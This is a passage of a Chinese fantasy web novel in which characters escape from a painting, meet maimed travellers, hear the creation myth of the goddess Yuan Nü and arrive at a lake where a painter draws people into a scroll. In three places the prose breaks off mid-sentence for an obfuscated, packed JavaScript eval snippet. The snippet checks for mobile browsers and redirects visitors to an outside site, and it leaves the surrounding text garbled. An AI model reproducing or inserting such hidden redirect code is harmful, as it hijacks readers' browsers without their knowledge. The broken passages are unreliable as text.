《断章》 3. 画中人 一张巨大的人脸浮现在远方,大到遮住了半边的天。 那是一张年轻男子的脸,眉峰是远山的轮廓,眼瞳是天上月,圆满,清冷,里面含着细碎的光,鼻是孤峰,线条是陡的,棱角也是冷的。 那张脸正对着他们,正对着观霞亭,眼珠慢慢转动,慢慢扫视这片他们走不出去的画中天地。 他抬眼,月出孤峰,他低眉,月落远山。 他就这样浮现在天边那片金红的晚霞里,像是一尊从天而降的神佛。 裴一笑哪里见过这样离奇的景象,连呼吸都停住了,他张了张嘴,却不知道自己该说什么。 墨染青则是觉得这张脸好像有点眼熟,像是在哪里见过。 “这……这是什么?”钟离浊发出疑问。 裴一笑喉结滚动了几下,“不知道……我走南闯北多年,破过奇案,斩过奸佞,闯过上古禁地。可这种东西……还是第一次见。” “很明显,这是一张人脸。”墨染青道。 裴一笑看了她一眼,那眼神仿佛在说“你这不是在说废话吗?“ 钟离浊忍不住说道:“你见过谁能有这么大脸的?” “这是一件好事。”墨染青突然开口。 钟离浊和裴一笑同时看向她。 “他的眼睛在动,这说明他能够看见我们,或者说是能看见我们所在的这幅画。只要他能够看见,那么这就是一件好事,我们可以向他传递消息,可以向他求助……” 她停顿了一下,“我们或许能够向他求救,让他帮忙找到画的主人,帮我们脱离画中世界。” “那么问题来了,我们被困在画中,又该怎么向他传递消息呢?”裴一笑问。 墨染青想了想,指了指天:“妙就妙在我们身处一幅画中,既然是一幅画,那么就能在纸上勾勒线条,能写字,能画图,无论怎样都能够传递出有用的消息。” 她又看向钟离浊,“你是神笔门弟子,袖中笔可曾随身携带?” 钟离浊点头,“一直都带着,出门采风怎么能不带笔呢。” 说完这一句随即拿出藏在袖中的问道笔,那支笔不粗,藏在袖中也不显突兀,笔杆由青玉制成,莹润剔透,笔尖的毫毛雪白柔软,不知道是用什么兽毛制成。 裴一笑眼睛一亮,“这是你的问道笔?” 钟离浊点点头。 裴一笑盯着那支笔,眼睛一眨也不一眨,“你都用这支笔画过什么?” 钟离浊想了想,“山,水,树,房子,还有……” 他顿了顿,“还有鸡蛋。” 裴一笑愣了一下,然后忍不住笑了,笑得肩膀一抖一抖的。 “鸡蛋?”他笑得上气不接下气,“你神笔门的弟子出来采风,画鸡蛋?” 钟离浊的脸微微一热。 “鸡蛋很难画的。”他认真地说,“你画过就知道了。” 裴一笑于是笑得更厉害了。 钟离浊等他笑够了,才继续问:“我们现在该写什么,画什么?” “当然是写一个救字,越大越好,那双眼睛那么大,写小了怕是看不清楚。”裴一笑立马说。 “你确定?”钟离浊问。 裴一笑点头。 “我确定。”又补充一句,“只要对方识字就行。” “简洁明了,可行。”墨染青也同意。 于是钟离浊深吸一口气,握紧了手中的笔,催动灵气,笔身开始发光。 淡淡的光,像月华,像晨曦,顺着笔杆往下流淌,汇集在笔尖。 他抬头,对着天,落下第一笔。 一道光从笔尖泻出,直冲天际,在天上炸开,化作一笔横。 巨大的一横,横跨了半边天。 钟离浊的手没有停,紧接着是第二笔,又是一道光冲上天,化作了一竖。 第三笔,第四笔,第五笔…… 一道道白光直冲云霄,一笔一笔在天上铺开,横、竖、点…… 最后一笔,捺,落在字的右下角,稳稳收住。 一个巨大的“救”字完整地悬在天边,大得惊人,每一个笔画都像是一条天河。 “写完了。”钟离浊收了笔,未见丝毫吃力。 墨染青点评道:“行云流水,一气呵成,字写得不错。” 像是惊动了天边的巨人,他视线扫过那个“救”字,最后目光成功落在了他们的身影上。 然后他抬起手,手从云层里探出来,指节修长,骨节分明,像玉雕成。 随着那只手的接近,隐天蔽日,裴一笑的心都提到了嗓子眼儿,下意识将手按在了腰间的剑上。 墨染青急忙开口:“别急!” 裴一笑的手一顿。 墨染青瞪着他,那双眼睛瞪得圆圆的。 “他没想伤害我们,你看他的手……” 裴一笑看着那只手。 确实,那只手伸过来的姿态,不像是攻击,更像是在写些什么。 只见那只手越来越近,然后停在了观霞亭上方,巨大的手掌落下一片阴影,将整个观霞亭都罩在下面。 墨染青看着那只手,手心里有淡淡的纹路,像是山川的脉络,手指微微弯曲,悬在半空中。 那只手动了,亭中木质的柱子上随着那根手指的移动,出现了深深的墨痕。 “等 我 救” 三字写完,手指停住,然后慢慢收了回去,缩回云层后消失不见。 “等我救。”钟离浊念出声音来,“他说他会救我们出去。” 裴一笑的声音从旁边传来,“他真的会救我们出去吗?我们真的能够相信他吗?” 墨染青抬头看向天边那张巨大的脸,那双眼睛似乎也在看着她。 她忍不住走神,这么大这么漂亮的一双眼睛,要是落泪,该是怎样的绝世美景? 可惜她见不到。 声音从画中传出:“我们当然能够相信他。” 他可是章蕴白,从不轻易许诺的章蕴白啊。 那熟悉脸,那熟悉的字。 是章蕴白啊。 “他应该会救我们出去。”钟离浊也说。 裴一笑看他:“你也这么觉得?” 钟离浊认真地说:“他不是写了吗?等他救。” 裴一笑一时无言,不知道是不是自己的错觉,总感觉这两人一点都不急,只有自己真的在担心能不能出去。 他靠在柱子上,一直看着那片天,很快,天边那个“救”字也渐渐消散,灵气化作细碎的光点落了一地。 “他来了。”他忽然说。 墨染青抬头。 天边,那张熟悉的脸再次浮现,巨手在空中挥毫,画出一道道金色的光痕。 “他在画画……”墨染青呢喃道。 那些金色的线条越来越多,越来越密,渐渐织成一条路,弯弯曲曲,一直延伸到观霞亭,延伸到他们脚下。 那只手停住了。 那双眼睛看着他们。 裴一笑站在亭檐下,看着眼前的路,只要再往前一步,就能够踏上去,可他没动。 墨染青的声音带着一点疑惑:“怎么不动?” “这条路……”裴一笑说:“不知道通向哪里,也不知道走上去会怎么样,这条路是他画的,可他究竟是什么人?他要带我们去哪里?” 墨染青语气开始不耐烦起来:“真是磨磨唧唧的,路都给你画好了,还不走?” 声音也越来越大:“还要等他再给你写个字?等他再伸个手?等着灵气逸散,这条路消失后,你永远留在这里?” “我告诉你们,这条路全是用灵气所绘,他画了这么长的一条路,肯定耗费了很多灵气,你们再不上去,等他撑不住了,路没了,你们哭都来不及哭。” 钟离浊倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305536|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没说什么,抬起脚就踏上了那条金色的路。 裴一笑连忙跟上。 这条路很奇妙,踩上去是空空的,没有实感,每向前走一步,身后的路就消失一截,让人彻底没有后退的余地。 他们往前走,身后的观霞亭越来越远,越来越小,渐渐模糊成一个墨点。 越往前,四周的霞光愈发绚烂,他们来到天的最边缘。 再往前一步,脚下一空。 钟离浊抬起头,然后愣住了。 眼前是一片花海,无边无际的花海。 一丛丛,一簇簇,满树满枝,挤挤挨挨,红黄粉绿,目不暇接。风一过,花瓣簌簌地落,飘在风里,蝴蝶翩翩飞,蜜蜂嗡嗡响,花香沁入口鼻,甜丝丝的,醉醺醺的。 身后的路已经消失,裴一笑看着眼前绚丽得不像话的景象,说不出话来。 画卷里,墨染青的声音有点发颤:“这里是……眠芳甸?” 下一瞬间,这一切戛然而止,裴一笑只觉得眼前一花,像是被人猛拽了一把,脚下那空空的触感消失了,取而代之的是冰冷坚硬的石地板。 他踉跄了一步,稳住身形,睁开眼。 花海蜂蝶都不见了,眼前是一座破庙,不知道已经有多久没有人来过,屋顶的瓦片缺了一半,露出黑漆漆的房梁,墙上的壁画斑驳脱落,只能隐约看出,画上是一位女神。香炉倒在一旁,落满了尘土,地上散落着几根折断的香,已经发霉发黑。 面前站着一个人,他穿着一身白衣,墨一样的头发散散地披着,眉眼俊美得不像话。日光从破屋顶的缝隙里漏下来,照在他身上,照得那一身白衣微微发亮。 他就站在前面看着他们,那张脸和画中所见的巨脸一模一样,只是变成了正常人大小。 钟离浊率先开口:“多谢阁下出手相救,我是神笔门弟子钟离浊,敢问阁下姓名?” “章蕴白。”那人说。 “啊,居然是前任花鸟阁的章阁主,晚辈拜见章阁主。”钟离浊惊讶道,随即朝他行了一礼。 章蕴白神色莫名地看了他一眼。 裴一笑还有些不明所以,“我们这到底是……怎么被救出来的?” “你在画里画了一条路,让我们走上去,然后我们看到一片花海,就出来了?” 他顿了顿,“就,这么简单?” 章蕴白看着他,“不然该如何?” 裴一笑不说话了,他不是很明白神笔门的这些门门道道。 章蕴白抬手一挥,展开一幅画,画上是他们刚刚见过的花海绘卷。 章蕴白看着那幅绘卷说:“被困在画中的人无法自行解困,除了画毁人亡,就只有经过执笔画师的同意,才能够离开画纸,恢复自由。” 裴一笑点头,这个墨染青之前就说过。 章蕴白继续说:“我画了一条路,从困住你们的那幅画通向我手中这一幅,而这一幅画是由我所绘。” 他将手中的花海绘卷收了起来,“我把你们放了出来。” “如此便是从画到画,绕过了之前那幅画的主人,”钟离浊语气里全是真诚的佩服,“前辈真是才智过人。” “前辈,不知可否再请您帮一个忙?” 钟离浊将墨染青所在的那幅画像展开在章蕴白面前,“此画名为《倾国倾城闭月羞花仕女图》,画中之人同样被困,不知可否请前辈出手相救?” 画卷里,墨染青还是那样站着,一动不动,只是眼神死气沉沉的。 夭寿了,谁能想到再次见到章蕴白会是在此种尴尬的场景之下?她从刚刚开始就一直在装画,假装自己就是一幅平平无奇的画,没想到却被钟离浊这小子送到了章蕴白眼前。 她偷偷瞟了一眼面前的章蕴白,还是曾经熟悉的模样,只是以前他总穿着神笔门的校服,现在却是一身简单的白衣。 不知道她“死”后这些年,他过得怎么样。 4. 画中人 墨染青对上章蕴白的视线,连忙移开。 裴一笑听到这个名字,忍不住笑了出来。 “嗯?倾国倾城闭月羞花仕女图?”他一字一句地念出声来,念得很慢,每一个字都念得清清楚楚。 墨染青被他笑得恼了,又瞥见章蕴白勾起的嘴角,隔着一幅画,耳朵红得透透的。 “还笑?还笑?不许笑!”又急又恼又羞,“我取的名字怎么了?有什么好笑的?我本来就长这样!” 还是章蕴白先开口,“我现在就将你救出来。” 说完,他朝画中的墨染青伸出了手。 画中,墨染青看着眼前白皙如玉的宽厚手掌,睫毛颤了颤。 章蕴白的手透过纸张,伸进画里,伸向她。 墨染青搭上那只手,握紧,掌心传来温热的触感。 他的手指轻轻合拢,同样握住了她。 轻轻一拉,她的身体缓缓从画中浮起,先是松松挽就的发髻,几缕碎发散落在额前鬓边,远山黛眉下是盈盈含波的眸,挺秀琼鼻,一点朱唇,红衣的裙摆绽开似一朵怒放的红莲。 墨染青落到他面前,那截细白的颈微微仰着,对着他展颜一笑,一如往昔,“章蕴白,好久不见。” 两人隔着一步的距离,隔着不知多少年的光阴。 “五百年了。”他说。 “五百年。”她轻轻说,“那么久。” 裴一笑的声音忽然响起,打破了这点微妙的氛围,“你们……认识?” 他的目光在两人之间转了一圈,带着剑修特有的锐利和警觉。 “我曾经向章阁主学过画。”仅此一句,再不多言。 只是这一句,纤秀的手从他掌心抽出,抿唇,移开了视线。 章蕴白的手悬在半空,然后慢慢地放下来,垂落在身侧,他垂下眼睫。 气氛有些微妙,就在此时,庙门外突然传来一阵窸窸窣窣的响动。 所有人的目光都看向门口。 日光下,两个身影并肩走过来,是一男一女。 男的身形颀长,穿着一身大红喜服,他的眼睛睁着,只是里面没有焦距,一片空茫。 女的穿着一身同样式的红嫁衣,盖头是掀开的,露出一张清秀的脸,她的眼睛倒是灵动有神,只是嘴唇紧紧抿着。 两人手牵着手,一步步走进这间破庙。 看着身着喜服而来的这两位,四人眼中神色皆不相同,又都很复杂。 新郎突然开口:“到了吗?” 新娘握了握他的手。 于是新郎笑了:“那就好。” 新娘的目光略过陌生的四人,引着新郎走向庙里那尊破败的神像,他们停在神像面前。 那是一尊女神像,端坐在残破的神龛之中,背靠着斑驳的墙壁,屋顶的破洞正好漏下一束日光,不偏不倚照在神像身上。 神女眼帘半阖,目光无悲无喜,鼻尖缺了一块,下颌有几道裂纹,衣袍垂落,细纹模糊,褶皱处落满了灰尘,更有蛛丝织在她肩头,即便如此依稀可见当初的繁复华丽。 她的膝上卧着一只石雕的玄鸟,头埋进翅膀里,蜷缩成一团,像是睡着了,和神像一样,岁月磨去了它的棱角。 两人跪下,膝盖落在石板上,端端正正地朝着神像磕了三个头。 磕完头,却没有起身,新郎仰起头,那双没有焦距的眼睛对着神像的方向,开口: “元女在上,信男携新妇前来叩拜。” 新娘在他旁边,同样仰着头,看着神像,嘴唇动了动,却发不出声音。 新郎继续说:“在下眼盲,新妇口哑,望元女勿怪。信男今日在此立下誓约,愿与新妇长相厮守,求元女保佑,保佑我与她不相离,不相弃,永结同心,此去一路顺风。” 他又磕下头去。 新娘也跟着磕下头去。 两个火红的身影,对着那尊破败的神像,虔诚拜伏。 待两人起身,钟离浊开口,“叨扰二位,在下能否向二位打听一点消息。” 新郎转过身,微微侧头,辨别声音的方向,“谁?” 钟离浊走上前,站在他面前几步远的地方。 声音温和:“在下钟离浊,是神笔门的弟子,出门采风和几位道友恰好路过此地,想向二位打听一些关于栖霞镇的消息。” 新郎闻言瞬间笑了,“你们也要到栖霞镇去吗?倒是同路。我和妻子从东山那边的无目镇而来,走了一天,见到这元女庙,特意和妻子前来叩拜,希望元女保佑我们一路顺风。” 新娘站在他身边,握着他的手,安静地点了点头。 裴一笑一脸疑惑,“我在路途中听闻,栖霞镇早在三日前就神秘消失了,你们却说要到栖霞镇去?” 怎么感觉透着一些古怪呢。 新郎却说:“并非消失,而是入画了。近日听闻附近来了一位神笔门的大画师,可以免费让人入画,据说只要到达栖霞镇就能够入画,现在很多人都在赶往栖霞镇,生怕错过了这个千载难逢的好机会呢!” 裴一笑更疑惑了:“所以,你们是想要赶去栖霞镇入画?” 怪哉怪哉,他们几个刚刚好不容易才从画里走出来,这两人倒好,还赶着要入画呢。 新郎点头,声音充满了向往:“人总会变老,变丑,现在的欢喜过几年就忘了,现在的模样过几年就不一样了。所以我们想要将这一刻留住,留住她穿嫁衣的样子,留住此刻执手的感觉,留住现在所有的美满。” 他握紧新娘的手,“只要能够入画,就能将现在的一切都留住。” 新娘也用力点头。 墨染青看着他们,心里翻涌着说不出的滋味。 章蕴白不知道什么时候走到她身边,他也没有说话,只是看着那对新人夫妻幸福微笑的模样。 钟离浊只是点点头,“希望你们能够如愿。” “多谢吉言。” 道别后,新娘牵着新郎,走出这间破败的元女庙,渐渐远去。 墨染青看着他们紧紧相握的手,开口道:“虽是盲婚哑嫁,却求长相厮守,不知此情可否打动元女?” “元女已经不在。”钟离浊说。 “元女是谁?”裴一笑疑惑,怎么好像只有自己不知道。 墨染青看向他,“你不知道?” 裴一笑摇头,“以前不曾听闻过。” 墨染青指着那座破败的女神像,开口:“这位就是创世神女——元女。” 裴一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305537|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着手指看过去,落入眼中的神像着实是破败不堪。 “她?” 墨染青于是说起了那个久远的传说:“元,始也。相传很久以前,天地还未分开,世间只有一片混沌的黑暗,元女和伴生的玄鸟就在混沌中苏醒。 玄鸟冲破混沌,撕开黑暗,身躯变成大地,眼珠成为日月。元女站在新生的大地之上,脚下是玄鸟身躯化成的土地,头顶日月为玄鸟眼目。 于是哭了。 泪水自她眼中落下,汇成江河湖泊漫过玄鸟的身躯,成为无边之海。 因为思念玄鸟,元女将羽毛化成和她一样的新生命,于是这世间便有了人。” 裴一笑说:“这样说的话,我们脚下踩着的不就是玄鸟的躯体吗?” “谁知道呢。”墨染青摇了摇头,“据说三十三重天就是玄鸟的脖颈所化,是这世间最高的山峰。” 因为高,所以落下去也很痛。 钟离浊沉吟一声,打断了他们:“刚才那两个人说要赶去栖霞镇,可是栖霞镇的画卷如今已经落入章阁主的手中。” “那他们岂不是白跑一趟?”裴一笑说。 章蕴白摇头,“不一定,兴许画师就在那里。” 只要画师在,就能继续作画。 墨染青看章蕴白:“章阁主,栖霞镇这幅画你是如何获得的?” 章蕴白说:“抢过来的。” 啊? 真是万万没想到的答案,五百年不见,章蕴白竟会做出如此强盗行径?他以前不是最知礼,最孤傲,最不屑这种行为的吗? 墨染青又问:“从何处抢的?” “花晓月。” 第二次听到这个名字,墨染青又是一愣,随即直言道:“抢得好。” 原来抢的是花晓月的画呀,那墨染青就没什么可说的了。 钟离浊奇怪地问:“为何说抢得好?” 这章蕴白是前任花鸟阁阁主,花晓月是现任花鸟阁阁主,这俩人莫非是有什么他不知道的恩怨不成? 墨染青突然笑起来,笑得极为不屑,“你可知这闭月羞花,闭的是花晓月的月,羞的也是花晓月的花?” 钟离浊摇了摇头,竟没想到还有这种典故。 “可否详解?” “花晓月此人,明明画功平平,天赋平平,真不知道如今是怎么当上花鸟阁阁主的,五百年过去,三派之首的神笔门如今竟然没落至此了吗?” 墨染青看着钟离浊,又瞥了一眼章蕴白。 后者不动声色,钟离浊倒是尴尬地笑了笑,他还在练习画鸡蛋呢…… “三派之中,如今以藏剑阁为首。”裴一笑出言纠正道。 墨染青更是摇头叹息:“怎会如此,怎会如此啊!” 她看着章蕴白,眼神中露出“为何如此不争气”的情绪。 章蕴白迎着她的目光说:“我脱离神笔门已有数百年。” 言下之意,不关他的事,他也不清楚。 墨染青一愣,怪不得他现在一身白衣,没有再穿神笔门的校服了。 遥想当初,他穿着神笔门的校服,可谓是神姿高彻,飘然若仙。 心中暗叹,往事不可追。 往事不可追。 5. 画中人 “我倒要亲眼看看,这五百年过去,花晓月的画技提高了多少,竟然能够被称作大画师了。”墨染青如此说道,却是略过了解释那闭月羞花的来处。 “与那夫妻二人同行一路,此去尚能赶在天黑之前抵达。”章蕴白说。 钟离浊点头。 裴一笑开口:“那就出发。” 四人离开元女庙,沿着那对夫妻离去的方向往西而去,临行前钟离浊在元女神像手中画了一个桃子。 墨染青不解,“为何画桃?” 钟离浊只说:“这是贡品。” 四人走了很久,山路越来越窄,两边的树也越来越密。 墨染青毕竟在画中呆了五百年之久,由于当初重伤坠落三十三重天,如今体内更是一丝灵气也无,不多时就走累了。 另外三人倒是依旧步履从容,不愧都是仙门之人,墨染青心中着实羡慕。 走在前方的章蕴白停下了脚步,“前方有人。” 几人抬头望去。 山路拐角处,隐隐约约有人影浮现。 走进了,才看清是一个茶水摊子。 很简陋的茶水摊,几张歪歪扭扭的桌子,几条长短不齐的板凳,都摆在路边的空地上。 摊子后面站着一个老人,须发皆白,脸上的皱纹像是老树的皮,可那双眼睛却清亮得很。他穿着一身粗布衣裳,袖子挽到手肘,正拿着一个葫芦瓢往锅里舀水。 锅里咕嘟咕嘟地冒着热气,正烧着茶。 老人抬起头,看见他们也不惊讶,只是朝几人笑了笑,露出稀疏的牙齿。 “也是赶路去栖霞镇的?”声音沙哑却和气,“要不要坐下歇歇,喝口热茶再走。” 几人对视一眼,墨染青第一个走进去,在一张歪斜的桌子旁边坐下。 剩下几人也跟进去,各自找地方坐下。 老人提着茶壶过来,给每个人倒了一碗茶,茶水是褐色的,热气腾腾,飘着一股苦香。 老人没走,他站在木桌旁边,笑眯眯问道:“几位这是也要到栖霞镇去?” 墨染青放下茶碗,看着他答:“是啊。” 又问:“老人家,您一直在这里卖茶?近来生意可好?” 老人点点头,“这几日往栖霞镇去的人多,生意是比平日里好些。” 又叹了口气,“我才不过二十八,何苦又叫我老人家。” “老人家。”他又重复一遍,像是在品味这两个字,“老人家。” 墨染青张了张嘴,发出一个音:“啊?” 那老人一脸认真地说:“我虚岁二十八,腊月生的,属虎。” 墨染青眼睛睁得大大的,看着他那张满是皱纹的脸,看着那深一道浅一道的沟壑,看着他那花白的须发,看着那佝偻的背。 这是……二十八? 她嘴唇动了动,又动了动,终于挤出几个字:“您……二十八?” 老人点头,又说:“不像?” 墨染青张了张嘴,想说什么,又咽了回去,目光在他脸上来回扫了好几遍,从额头到下巴,从眼睛到嘴角。 然后她艰难地开口:“你长得……挺着急的。” 老人愣了一下,然后笑了,笑得直不起腰来,笑得眼泪都出来了,“着急?可不是吗!都怪那昭国公主,能让我长得这么着急!” 墨染青坐在那里,闻言顿时感觉有些尴尬。 她不知道这为什么又和自己扯上了关系,可是看着眼前人这般模样,心里始终不是滋味。 之前跟在瞎子他们身边,看着他们登台卖画,就已经听过太多人咒骂自己,只是不曾如此近距离接触过。 元女庙那对盲哑夫妻,眼前年岁只有二十八,却长得像七八十的男子,究竟是什么让他们变成了这样? 墨染青不懂,为什么自己明明只是在画里睡了五百年,醒来就成了这一切的罪魁祸首。 茶摊陷入沉默。 见几人喝过了茶,墨染青便率先起身,准备离去。 “这就歇够了?”钟离浊问。 墨染青一言不发,她走在最前面,步子不快不慢,可谁都能够看出来,她心情不好。 裴一笑快走几步,追上她。 “这是怎么了?”颇有些摸不着头脑。 墨染青没有看他,身形一闪就入了画中,“走累了,在画中歇一歇。” 章蕴白看着手中的画像,没有说什么。 一行人继续赶路,墨染青突然问道:“为什么他们一生下来就是残缺的?刚刚那人明明只有二十八岁却长得像七八十岁,还有那些聋的哑的盲的,那些买我画像的人,那些缺胳膊少腿的。” 声音从画中传出,清清楚楚落在在场三人的耳朵里:“为什么他们自生下来就是这样?为什么这世上就没有几个全须全尾的人?” “明明五百年之前,大家都并非如此。” 山路上一片寂静,只有鸟雀的啁啾声。 阳光还是那么好,晒得人身上暖洋洋的,可没有人觉得温暖。 裴一笑抬起头,看向远方,前路蜿蜒。 他开口,“据天书阁记载。” 墨染青的心微微一动,天书阁,那是三十三重天收藏天下书籍的地方。 “五百年前,昭国公主研究禁忌阵法,献祭王城导致民怨滔天,国破城灭,此后五百年,人间所出,皆身有残缺,只有三十三重天之上得以幸免。” 钟离浊补充道:“世人传说,公主将苍生献祭,苍生就缺了一块,从那以后每个人生下来都如苍生一般,缺一块。” 墨染青立即皱眉,“为何三十三重天之上,能够得以幸免?” 裴一笑接过话:“是藏锋阁阁主谢惊澜护住了三十三重天。” 墨染青更为不解,“是谢惊澜,而不是谢惊鸿?” “谢惊鸿是阁主的双生兄长,五百年前已经身陨。”裴一笑继续说。 墨染青乍一听闻这些消息,顿时感觉头晕脑胀,怎么和记忆中的人全都对不上?花晓月是如此,谢惊鸿谢惊澜也是如此,就连……就连章蕴白也变了。 这五百年之间,究竟发生了什么? 一路沉默,墨染青歇够了,从画中出来走在队伍末尾。 “很快就到了。”章蕴白估量了一番距离说。 天渐渐黑了,月出东山,夜空中渐渐浮现出闪亮的光点,先是疏疏落落的几颗,然后越来越多,越来越多,铺满了整个天幕。 墨染青突然停下脚步,她抬起头,看着天空,良久,她伸出手,指着天上那些明亮的光点问:“那是什么?” 裴一笑顺着她的手指看去,看见满天的星子在闪烁,“那是星星。” 他有些不解,这有什么好问的。 墨染青只是看着那些星星,看着它们一闪一闪的光,像是无数的萤火虫挂在天上。 她又问,“它们每晚都挂在天上吗?” 裴一笑想了想,“只要不被云挡住,都是在的吧。” “持续了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305538|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多久?” “这……”裴一笑有点搞不懂,“自从我出生以来,许多夜晚都能看见星星。” 墨染青看他,“你如今年岁几何?” “二十有三。”裴一笑如实回答。 墨染青听完突然感觉头皮发麻,因为五百年前,天上根本就……没有这些星星。 玄鸟的身躯是大地,脖颈是三十三重天,羽毛化作生灵,双眼为日月,元女的眼泪是江河湖海。 这所谓的星星又是从哪里来的? 五百年前怎么就没有出现过呢? 就在此时,“有人吗?” 前方传来一道女子的声音,顺着声音看过去,是一个年轻的女人,脸色苍白如纸,眼下两团青黑,嘴唇干裂起皮,看着就憔悴得很。 穿着一身灰扑扑的粗布衣裳,看着就是已经洗过很多次,衣领已经磨出了毛边,两只袖子却是空空荡荡的,软软地垂下。 她看着墨染青一行人走进,眼睛里空空的,不是眼盲的那种空,而是一种麻木空心的空。 “姑娘可是要去栖霞镇?”钟离浊问。 此行路上遇见的人都是在赶路去栖霞镇的。 那女子怯懦地点头,“是,诸位可否……带我一程?” 然后又习惯性地低头,目光落在自己的肚子上,那肚子已经隆起,宽大的衣裳也藏不住。 墨染青的目光在女子隆起的腹部停留片刻,又移向她空荡荡的袖管。 “带上你倒是无妨。”钟离浊已经开口,语气依旧温和,“只是此处距离栖霞镇还有一段路,姑娘这身子,恐有不便。” 那女子抬头,眼睛里终于有了一丝活气,像是怕被拒绝,急切道:“我走得动的,我走得动的,我……我身子不要紧的。” 她说着便要迈步证明自己,脚下却一个踉跄,还好墨染青及时伸手扶住了她。 “别着急,我们没说不带你。” 女子怔了怔,眼眶忽然泛红,却强忍着没有让泪水落下来,只是低声说了一句:“多谢。” 一行人带着她继续赶路,女子走得不快,却始终咬着牙紧紧跟着,墨染青在她身侧时不时帮扶一下。 “姑娘如何称呼?去栖霞镇寻亲,还是……?” 她抿了抿干裂的唇,“我叫阿无,去栖霞镇,是为了……入画。” 墨染青看了一眼她的肚子,“为什么要去入画呀?” “我不想让肚子里这个孩子生下来。”阿无低头看了一眼自己隆起的腹部。 “姑娘何出此言?”裴一笑不解。 阿无空空荡荡的袖管在风里晃荡。 “我生下来就没有双手。”她说,“爹娘把我扔给一个瞎眼的老头子养,我讨饭,挨打,他醉酒骂我,让我……让我生孩子。” 阿无扯了一下嘴角,那笑容比哭还难看,“我活成这样,是我命不好,可是这个孩子,万一生下来和我一样没有双手呢?万一也像我一样讨饭挨打呢?” 她的声音微微发颤,“我不能让她生下来受这个罪,可她在我肚子里动的时候,我又……” 她没说完,又接着道:“听说栖霞镇的画师,能将人画进画里,让入画的一刻永远停住。我想着能在她出生之前就入画,她就不用生出来受苦了,我也能和她一起,永远停留在画里。” 风从山道间穿过,吹得路旁的枯草簌簌作响。 墨染青看着她,心中无比酸涩,口中只道:“希望你能如愿。” “谢谢……” 6. 画中人 不多时,几人行至目的地。 原先坐落在此处的栖霞镇已经入画消失,替代栖霞镇的是一片湖。 连接湖两岸的是一座奇长无比的桥,桥身隐在薄雾中,只有两端桥头亮着灯火。 桥这一头排着长队,人不少,却安静得出奇,男女老少,衣着各异,有衣衫褴褛者,也有绫罗裹身者,有拄着拐杖的古稀老人,也有被抱在怀中的婴孩。 他们都低头沉默着,只不时张望前方的队伍,估算着还有多久轮到自己。 队伍挪得不快,过上一会儿才挪上一步。 灯火最亮处站着一个年轻女子,穿着神笔门山青水白的校服,她生得清秀,脸上却没有什么表情,手中握着一支笔,笔杆莹白,笔尖悬着一缕微光,尾端却是尖刃。 每有一个人走到她的面前,她都要问一句:“为何要入画?” 答话的人或哭诉陈情,或跪地磕头,或掏出银两献上。她只是听着,听完便点点头,或是摇摇头,点头的就侧身让开,让人过桥,摇头的,那人便僵在原地,张着嘴,半晌,默默退至一旁。 墨染青看见一个身着锦衣的年轻男子没有通过,退开后愣在原地,突然狠狠扇了自己一耳光,然后捂着脸蹲了下去,肩膀一耸一耸的,没有声音泄出。 队伍慢慢往前挪动。 “那就是花晓月?”裴一笑看着那持笔的女子问。 墨染青点头,花晓月和五百年前相比,容颜丝毫未变,只是不知性格还有没有那么令人生厌。 “我们现在该如何?”钟离浊问。 “好歹都是三派中人,我们前去打个招呼,让花前辈将画中之人放出来不就行了?”裴一笑提议道。 “若是她不肯放人呢?”墨染青说。 “那就抢。”章蕴白冷冷出声。 钟离浊摇头,“看着怕是不好抢。” 话音刚落,身后传来一阵脚步声,伴随着粗重的喘息。 “哟,可算是赶上了!”那声音有些耳熟,众人回头,只见一个头发花白的老人正站在身后,正是之前在茶摊遇到的那位老板。 “老板也来入画了?”钟离浊有些意外。 “可不是嘛!不然大晚上跑来这儿作甚?游山玩水?”茶摊老板又往前走了几步,离墨染青几人更近了些,这才放下包袱,一边擦汗一边笑呵呵地打量着四周。 “还排着队呢,好好好,还好没来晚。”他伸长了脖子,往桥那边张望,看着长长的队伍,眼前一亮。 裴一笑看着他这副模样,问:“老板又是为何想要入画?” 茶摊老板脸上的笑意更深了,他回答得理直气壮,“这还用问吗?入画当然是为了……” 他小小地卖了个关子,才继续说:“当然是为了长生不老呀!” 墨染青皱眉:“长生不老?” “对啊!你们想一想,入了画,时间就停住了,停在了入画的那一刻,那可不就是长生不老了吗?”茶摊老板越说越得意,竟还眉飞色舞起来,“不会老,不会病,不会死,永远呆在画里头,想干嘛就干嘛,多快活啊!” 那茶摊老板还在继续说着,墨染青目光一凝,看见之前在元女庙见过的那对新婚夫妻,已经排队到了花晓月面前。 新郎走在前面,新娘落后一步,两人依旧两手相握,他们走到花晓月面前,站定。 